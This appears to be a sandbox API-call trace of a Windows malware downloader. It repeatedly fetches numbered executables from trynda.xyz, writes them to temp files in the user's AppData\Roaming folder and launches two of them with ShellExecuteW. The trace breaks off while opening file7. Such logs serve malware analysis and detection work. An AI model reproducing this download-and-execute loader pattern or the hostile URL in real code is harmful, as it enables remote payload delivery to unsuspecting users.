	[0058.001] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x497f020, Size=0x96b8a) returned 0x4838020
	[0058.014] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48ccbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48ccbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.015] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.015] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4838020, Size=0x98b8a) returned 0x48d7020
	[0058.031] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x496dbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x496dbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.031] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.031] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48d7020, Size=0x9ab8a) returned 0x4834020
	[0058.046] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48ccbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48ccbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.047] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.047] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4834020, Size=0x9cb8a) returned 0x48d7020
	[0058.065] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4971baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4971baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.065] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.066] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48d7020, Size=0x9eb8a) returned 0x498f020
	[0058.077] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4a2bbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4a2bbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.077] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.077] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x498f020, Size=0xa0b8a) returned 0x4832020
	[0058.146] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48d0baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48d0baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.146] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.147] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4832020, Size=0xa2b8a) returned 0x48ee020
	[0058.158] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x498ebaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x498ebaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.158] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.158] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48ee020, Size=0xa4b8a) returned 0x483a020
	[0058.203] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48dcbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48dcbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.203] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.203] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x483a020, Size=0xa6b8a) returned 0x48e7020
	[0058.216] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x498bbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x498bbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.216] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.217] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48e7020, Size=0xa8b8a) returned 0x4835020
	[0058.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48dbbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48dbbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.229] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.229] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4835020, Size=0xaab8a) returned 0x48e3020
	[0058.247] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x498bbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x498bbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.247] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.247] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48e3020, Size=0xacb8a) returned 0x4998020
	[0058.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4a42baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4a42baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.260] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.260] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x4998020, Size=0xaeb8a) returned 0x483a020
	[0058.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48e6baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48e6baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.272] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.273] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x483a020, Size=0xb0b8a) returned 0x48f3020
	[0058.285] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x49a1baa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x49a1baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.290] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.290] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x48f3020, Size=0xb2b8a) returned 0x49bf020
	[0058.303] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x4a6fbaa, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x4a6fbaa*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0058.303] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.304] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x49bf020, Size=0xb3a00) returned 0x4836020
	[0058.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x48e8baa, dwNumberOfBytesToRead=0xe76, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x48e8baa*, lpdwNumberOfBytesRead=0xf3ce8c*=0xe76) returned 1
	[0058.316] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0058.338] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0058.341] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0058.341] PathFindExtensionW (pszPath="http://trynda.xyz/file1.exe") returned=".exe"
	[0058.341] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x208) returned 0x1170b20
	[0058.341] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0xf3cc8c, nSize=0x104 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f
	[0058.341] GetTempFileNameW (in: lpPathName="C:\\Users\\FD1HVy\\AppData\\Roaming", lpPrefixString="", uUnique=0x0, lpTempFileName=0x1170b20 | out: lpTempFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\52e8.tmp")) returned 0x52e8
	[0058.344] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp", lpString2=".exe" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe"
	[0058.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\52e8.tmp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8
	[0058.344] WriteFile (in: hFile=0x3c8, lpBuffer=0x4836020*, nNumberOfBytesToWrite=0xb3a00, lpNumberOfBytesWritten=0xf3ce8c, lpOverlapped=0x0 | out: lpBuffer=0x4836020*, lpNumberOfBytesWritten=0xf3ce8c*=0xb3a00, lpOverlapped=0x0) returned 1
	[0058.356] CloseHandle (hObject=0x3c8) returned 1
	[0058.369] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\52E8.tmp.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=5) returned 0x2a
	[0065.308] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x1170b20 | out: hHeap=0x1100000) returned 1
	[0065.308] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x4836020 | out: hHeap=0x1100000) returned 1
	[0065.312] wnsprintfW (in: pszDest=0xf3cee0, cchDest=260, pszFmt="http://trynda.xyz/file%d.exe" | out: pszDest="http://trynda.xyz/file2.exe") returned 27
	[0065.312] InternetCrackUrlW (in: lpszUrl="http://trynda.xyz/file2.exe", dwUrlLength=0x1b, dwFlags=0x0, lpUrlComponents=0xf3ce14 | out: lpUrlComponents=0xf3ce14) returned 1
	[0065.312] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x119cc58
	[0065.312] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x119cd58
	[0065.312] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x119cc58 | out: hHeap=0x1100000) returned 1
	[0065.312] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x119cd58 | out: hHeap=0x1100000) returned 1
	[0065.312] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0065.312] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://trynda.xyz/file2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x400000, dwContext=0x0) returned 0xcc000c
	[0065.852] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0065.853] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x2f7) returned 0x119f158
	[0065.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x119f158, dwNumberOfBytesToRead=0x2f7, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x119f158*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2f7) returned 1
	[0065.853] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0065.853] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x119f158, Size=0x22f7) returned 0x11af308
	[0065.853] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11af5ff, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11af5ff*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0065.853] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0065.854] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11af308, Size=0x42f7) returned 0x11af308
	[0065.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b15ff, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b15ff*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0065.854] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0065.854] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11af308, Size=0x62f7) returned 0x11af308
	[0065.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b35ff, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b35ff*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0065.854] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0065.854] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11af308, Size=0x82f7) returned 0x11af308
	[0065.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b55ff, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b55ff*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0065.855] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0065.855] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11af308, Size=0xa2f7) returned 0x11af308
	[0065.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b75ff, dwNumberOfBytesToRead=0x2000, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b75ff*, lpdwNumberOfBytesRead=0xf3ce8c*=0x2000) returned 1
	[0065.855] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0065.855] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11af308, Size=0xa8f8) returned 0x11af308
	[0065.855] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b95ff, dwNumberOfBytesToRead=0x601, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b95ff*, lpdwNumberOfBytesRead=0xf3ce8c*=0x601) returned 1
	[0065.855] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0066.071] RtlReAllocateHeap (Heap=0x1100000, Flags=0x8, Ptr=0x11af308, Size=0xac00) returned 0x11af308
	[0066.071] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11b9c00, dwNumberOfBytesToRead=0x308, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11b9c00*, lpdwNumberOfBytesRead=0xf3ce8c*=0x308) returned 1
	[0066.071] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0066.075] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0066.075] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0066.075] PathFindExtensionW (pszPath="http://trynda.xyz/file2.exe") returned=".exe"
	[0066.075] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x208) returned 0x1197360
	[0066.075] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0xf3cc8c, nSize=0x104 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f
	[0066.075] GetTempFileNameW (in: lpPathName="C:\\Users\\FD1HVy\\AppData\\Roaming", lpPrefixString="", uUnique=0x0, lpTempFileName=0x1197360 | out: lpTempFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7120.tmp")) returned 0x7120
	[0066.076] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp", lpString2=".exe" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe"
	[0066.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7120.tmp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x54c
	[0066.076] WriteFile (in: hFile=0x54c, lpBuffer=0x11af308*, nNumberOfBytesToWrite=0xac00, lpNumberOfBytesWritten=0xf3ce8c, lpOverlapped=0x0 | out: lpBuffer=0x11af308*, lpNumberOfBytesWritten=0xf3ce8c*=0xac00, lpOverlapped=0x0) returned 1
	[0066.078] CloseHandle (hObject=0x54c) returned 1
	[0066.079] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120.tmp.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=5) returned 0x2a
	[0066.161] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x1197360 | out: hHeap=0x1100000) returned 1
	[0066.161] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x11af308 | out: hHeap=0x1100000) returned 1
	[0066.163] wnsprintfW (in: pszDest=0xf3cee0, cchDest=260, pszFmt="http://trynda.xyz/file%d.exe" | out: pszDest="http://trynda.xyz/file3.exe") returned 27
	[0066.163] InternetCrackUrlW (in: lpszUrl="http://trynda.xyz/file3.exe", dwUrlLength=0x1b, dwFlags=0x0, lpUrlComponents=0xf3ce14 | out: lpUrlComponents=0xf3ce14) returned 1
	[0066.163] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x119ceb8
	[0066.163] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x119cd58
	[0066.163] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x119ceb8 | out: hHeap=0x1100000) returned 1
	[0066.163] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x119cd58 | out: hHeap=0x1100000) returned 1
	[0066.163] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0066.163] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://trynda.xyz/file3.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x400000, dwContext=0x0) returned 0xcc000c
	[0066.516] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0066.517] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0xb2) returned 0x1188bd8
	[0066.517] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1188bd8, dwNumberOfBytesToRead=0xb2, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x1188bd8*, lpdwNumberOfBytesRead=0xf3ce8c*=0xb2) returned 1
	[0066.517] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0066.517] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0066.517] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0066.517] wnsprintfW (in: pszDest=0xf3cee0, cchDest=260, pszFmt="http://trynda.xyz/file%d.exe" | out: pszDest="http://trynda.xyz/file4.exe") returned 27
	[0066.517] InternetCrackUrlW (in: lpszUrl="http://trynda.xyz/file4.exe", dwUrlLength=0x1b, dwFlags=0x0, lpUrlComponents=0xf3ce14 | out: lpUrlComponents=0xf3ce14) returned 1
	[0066.517] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x11838d0
	[0066.517] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x1183a50
	[0066.517] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x11838d0 | out: hHeap=0x1100000) returned 1
	[0066.517] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x1183a50 | out: hHeap=0x1100000) returned 1
	[0066.517] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0066.517] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://trynda.xyz/file4.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x400000, dwContext=0x0) returned 0xcc000c
	[0066.877] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0066.878] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0xb2) returned 0x1188ff8
	[0066.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1188ff8, dwNumberOfBytesToRead=0xb2, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x1188ff8*, lpdwNumberOfBytesRead=0xf3ce8c*=0xb2) returned 1
	[0066.879] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0066.879] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0066.879] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0066.879] wnsprintfW (in: pszDest=0xf3cee0, cchDest=260, pszFmt="http://trynda.xyz/file%d.exe" | out: pszDest="http://trynda.xyz/file5.exe") returned 27
	[0066.879] InternetCrackUrlW (in: lpszUrl="http://trynda.xyz/file5.exe", dwUrlLength=0x1b, dwFlags=0x0, lpUrlComponents=0xf3ce14 | out: lpUrlComponents=0xf3ce14) returned 1
	[0066.879] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x11659f8
	[0066.879] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x1165b98
	[0066.879] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x11659f8 | out: hHeap=0x1100000) returned 1
	[0066.879] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x1165b98 | out: hHeap=0x1100000) returned 1
	[0066.879] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0066.879] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://trynda.xyz/file5.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x400000, dwContext=0x0) returned 0xcc000c
	[0067.691] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0067.691] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0xb2) returned 0x11a26b0
	[0067.691] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x11a26b0, dwNumberOfBytesToRead=0xb2, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x11a26b0*, lpdwNumberOfBytesRead=0xf3ce8c*=0xb2) returned 1
	[0067.691] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0067.691] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0067.691] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0067.691] wnsprintfW (in: pszDest=0xf3cee0, cchDest=260, pszFmt="http://trynda.xyz/file%d.exe" | out: pszDest="http://trynda.xyz/file6.exe") returned 27
	[0067.691] InternetCrackUrlW (in: lpszUrl="http://trynda.xyz/file6.exe", dwUrlLength=0x1b, dwFlags=0x0, lpUrlComponents=0xf3ce14 | out: lpUrlComponents=0xf3ce14) returned 1
	[0067.691] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x1165ad8
	[0067.691] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x1165878
	[0067.691] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x1165ad8 | out: hHeap=0x1100000) returned 1
	[0067.691] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x1165878 | out: hHeap=0x1100000) returned 1
	[0067.691] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0067.691] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://trynda.xyz/file6.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x400000, dwContext=0x0) returned 0xcc000c
	[0068.135] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0068.135] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0xb2) returned 0x1187008
	[0068.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1187008, dwNumberOfBytesToRead=0xb2, lpdwNumberOfBytesRead=0xf3ce8c | out: lpBuffer=0x1187008*, lpdwNumberOfBytesRead=0xf3ce8c*=0xb2) returned 1
	[0068.135] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0xf3ce8c, dwFlags=0x0, dwContext=0x0) returned 1
	[0068.135] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0068.318] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0068.318] wnsprintfW (in: pszDest=0xf3cee0, cchDest=260, pszFmt="http://trynda.xyz/file%d.exe" | out: pszDest="http://trynda.xyz/file7.exe") returned 27
	[0068.318] InternetCrackUrlW (in: lpszUrl="http://trynda.xyz/file7.exe", dwUrlLength=0x1b, dwFlags=0x0, lpUrlComponents=0xf3ce14 | out: lpUrlComponents=0xf3ce14) returned 1
	[0068.318] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x1165b18
	[0068.318] RtlAllocateHeap (HeapHandle=0x1100000, Flags=0x8, Size=0x16) returned 0x1165938
	[0068.318] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x1165b18 | out: hHeap=0x1100000) returned 1
	[0068.318] HeapFree (in: hHeap=0x1100000, dwFlags=0x0, lpMem=0x1165938 | out: hHeap=0x1100000) returned 1
	[0068.318] InternetOpenW (lpszAgent=0x0, dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0068.318] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://trynda.xyz/file7.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x400000, dwContext=0x0) returned 0xcc000c
